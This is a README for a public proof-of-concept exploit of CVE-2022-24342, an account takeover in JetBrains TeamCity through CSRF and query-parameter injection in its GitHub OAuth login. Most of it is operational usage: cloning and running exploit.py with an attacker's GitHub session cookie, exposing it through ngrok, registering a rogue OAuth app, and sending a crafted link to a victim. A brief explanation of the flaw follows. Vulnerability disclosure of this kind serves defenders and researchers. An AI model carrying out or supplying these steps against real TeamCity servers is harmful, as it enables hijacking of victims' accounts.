CVE-2022-24342

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JetBrains TeamCity – account takeover via CSRF in GitHub authentication (PoC)

Requirements

• JetBrains TeamCity <2021.2.1
• GitHub authentication enabled

Usage

1. Try to login with attacker’s GitHub account into target TeamCity intance to make TeamCity’s GitHub application authorized.
2. Install & run:

$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

usage: exploit.py [-h] -s S [-p P]

optional arguments:
  -h, --help  show this help message and exit
  -s S        GitHub user session
  -p P        Uvicorn port

$ python3 exploit.py -s {attackers_github_session_cookie}

If you run the exploit on the local machine, you might need to use Ngrok or alternatives.

$ ngrok http 8000

2. Create GitHub OAuth2 application:

homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"

3. Send the following link to a victim:

http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}

How does it work?

TeamCity was vulnerable to query paramater injection during OAuth2 flow, allowing an attacker to redirect user into an arbitrary GitHub OAuth2 application, intercept a valid state parameter, and connect arbitrary GitHub account to victim’s TeamCity account.

This was possible due to next things:

• GitHub OAuth2 query parameters processing order
• TeamCity query parameter injection

GitHub OAuth2: query parameters processing order

CVE-2022-24342: HTTP requests flow

The CVE-2022-24342 is a github repository by Yurii Sanin

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